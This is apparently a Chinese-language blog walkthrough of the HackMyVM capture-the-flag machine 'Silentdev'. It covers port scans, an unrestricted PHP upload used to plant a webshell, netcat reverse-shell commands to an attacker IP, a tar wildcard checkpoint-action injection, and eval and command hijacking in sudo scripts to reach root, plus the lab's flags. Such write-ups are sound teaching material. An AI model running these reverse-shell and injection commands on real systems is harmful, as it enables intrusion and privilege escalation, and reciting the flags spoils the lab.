<h1>Silentdev.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Silentdev">https://hackmyvm.eu/machines/machine.php?vm=Silentdev</a>
</blockquote>
<img src="/post-images/HackMyVMSilentdev/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-bash">➜ Slientdev nmap -sT -min-rate 10000 -p- 192.168.56.117
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-26 15:42 CST
Nmap scan report for 192.168.56.117
Host is up (0.00055s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:1C:EA:F4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 16.97 seconds
</code></pre>
<pre><code class="hljs language-bash">
➜ Slientdev nmap -sT -A -p 22,80 192.168.56.117 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-26 15:42 CST
Nmap scan report for 192.168.56.117
Host is up (0.00054s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
| 256 4a:f7:09:40:45:df:25:cc:a4:f5:85:ac:63:c6:13:3e (ECDSA)
|_ 256 58:be:2c:d0:40:af:d5:9c:2a:13:38:82:61:f6:8c:87 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Upload Image
MAC Address: 08:00:27:1C:EA:F4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.54 ms 192.168.56.117

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.16 seconds
</code></pre>
<h2>FileUpload</h2>
直接就是一个文件上传功能
<img src="/post-images/HackMyVMSilentdev/image1.png" alt="image.png">
上传一个普通图片后，会给出路径
<img src="/post-images/HackMyVMSilentdev/image2.png" alt="image.png">
尝试上传 PHP 后缀文件，没想到直接上传成功了
<img src="/post-images/HackMyVMSilentdev/image3.png" alt="image.png">
<img src="/post-images/HackMyVMSilentdev/image4.png" alt="image.png">
写一句话木马，通过蚁剑连接
<img src="/post-images/HackMyVMSilentdev/image5.png" alt="image.png">
弹 <code>shell</code>
<pre><code class="hljs language-bash">nc 192.168.56.5 1234 -e /bin/bash
</code></pre>
<img src="/post-images/HackMyVMSilentdev/image6.png" alt="image.png">
<h2>权限提升</h2>
<h3>信息收集</h3>
我们能发现 <code>www-data</code> 用户拥有 <code>developers</code> 组权限
<pre><code class="hljs language-bash">www-data@silentdev:/var/www/html/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1004(developers)
</code></pre>
<img src="/post-images/HackMyVMSilentdev/image7.png" alt="image.png">
查询属于该组的文件
<pre><code class="hljs language-bash">www-data@silentdev:/home$ find / -group developers 2>/dev/null
/opt/project
/var/backups
</code></pre>
<code>/opt/project</code>
<pre><code class="hljs language-bash">www-data@silentdev:/opt/project$ ls -al
total 12 
drwxrwx--- 2 developer developers 4096 Apr 19 19:30 .
drwxr-xr-x 3 root root 4096 Apr 19 11:08 ..
-rw-r--r-- 1 root root 2030 Apr 19 19:29 index.html

www-data@silentdev:/opt/project$ ls
index.html

www-data@silentdev:/opt/project$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
</code></pre>
<img src="/post-images/HackMyVMSilentdev/image8.png" alt="image.png">
<code>/var/backups</code>
<pre><code class="hljs language-bash">www-data@silentdev:/var/backups$ ls
apt.extended_states.0 project.tgz
</code></pre>
解压出来的是和 project 中一模一样的 <code>index</code> 文件
不过能看出来系统上有一个定时任务（Cron Job），它会定期将 <code>/opt/project</code> 目录的内容打包压缩成 <code>project.tgz</code> 文件，并存放到 <code>/var/backups</code> 目录中
上传 <code>pspy</code> 看一下，果然 <code>1002</code> 用户定时会压缩 <code>/opt/project</code>
<img src="/post-images/HackMyVMSilentdev/image9.png" alt="image.png">
<h3>tar 利用</h3>
<code>*</code> 万恶之源
<pre><code class="hljs language-bash">/bin/sh -c cd /opt/project &#x26;&#x26; tar -zcf /var/backups/project.tgz *
</code></pre>
hijack：<a href="https://gtfobins.github.io/gtfobins/tar/">https://gtfobins.github.io/gtfobins/tar/</a>
<pre><code class="hljs language-bash">cd /opt/project
echo 'nc 192.168.56.5 1235 -e /bin/sh' > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
</code></pre>
等待弹 shell 即可，即可拿到 <code>developers</code> 用户
<img src="/post-images/HackMyVMSilentdev/image10.png" alt="image.png">
<h3>命令劫持</h3>
查看 sudo 权限
<pre><code class="hljs language-bash">developer@silentdev:~$ sudo -l
Matching Defaults entries for developer on silentdev:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
 use_pty

User developer may run the following commands on silentdev:
 (alfonso) NOPASSWD: /usr/bin/sysinfo.sh
</code></pre>
<pre><code class="hljs language-bash">developer@silentdev:~$ cat /usr/bin/sysinfo.sh 
#!/bin/bash

echo "Hello $USER, checking system status."

echo "Choose an option:"
echo "1. Disk usage (df)"
echo "2. Running processes (ps)"
echo "3. Exit"

read -p "Enter option (1-3): " opt

case "$opt" in
 1) action="df" ;;
 2) action="ps" ;;
 3) echo "Goodbye!"; exit ;;
 *) action="echo Invalid option" ;;
esac

read -p "Any additional options?: " extra

eval "$action $extra"
</code></pre>
我 TM 直接劫持
<img src="/post-images/HackMyVMSilentdev/image11.png" alt="image.png">
<img src="/post-images/HackMyVMSilentdev/image12.png" alt="image.png">
读取 <code>user.txt</code>
<pre><code class="hljs language-bash">alfonso@silentdev:~$ cat user.txt 
flag{A89aHFj3830878y3hFJ3h2oH}
</code></pre>
<h3>xxxx</h3>
查看 sudo 权限
<pre><code class="hljs language-bash">alfonso@silentdev:~$ sudo -l
Matching Defaults entries for alfonso on silentdev:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
 use_pty

User alfonso may run the following commands on silentdev:
 (ALL) NOPASSWD: /usr/bin/silentgets
</code></pre>
<pre><code class="hljs language-bash">alfonso@silentdev:~$ /usr/bin/silentgets 
Enter the username: root
root:x:0:0:root:/root:/bin/bash
</code></pre>
拉出来检查一下
<img src="/post-images/HackMyVMSilentdev/image13.png" alt="image.png">
只能说又是命令劫持
<img src="/post-images/HackMyVMSilentdev/image14.png" alt="image.png">
读取 <code>root.txt</code>
<pre><code class="hljs language-bash">root@silentdev:/home/alfonso# cat /root/root.txt 
flag{p7609TNt6a0bGF8HW78BG7eh}
</code></pre>
<h2>总结</h2>
不如群友 low

Silentdev. https://hackmyvm.eu/machines/machine.php?vm=Silentdev Recon PortScan FileUpload 直接就是一个文件上传功能 上传一个普通图片后，会给出路径 尝试上传 PHP 后缀文件，没想到直接上传成功了 写一句话木...

HackMyVM - Silentdev

TheHackersLabs - THLPWN

念念碎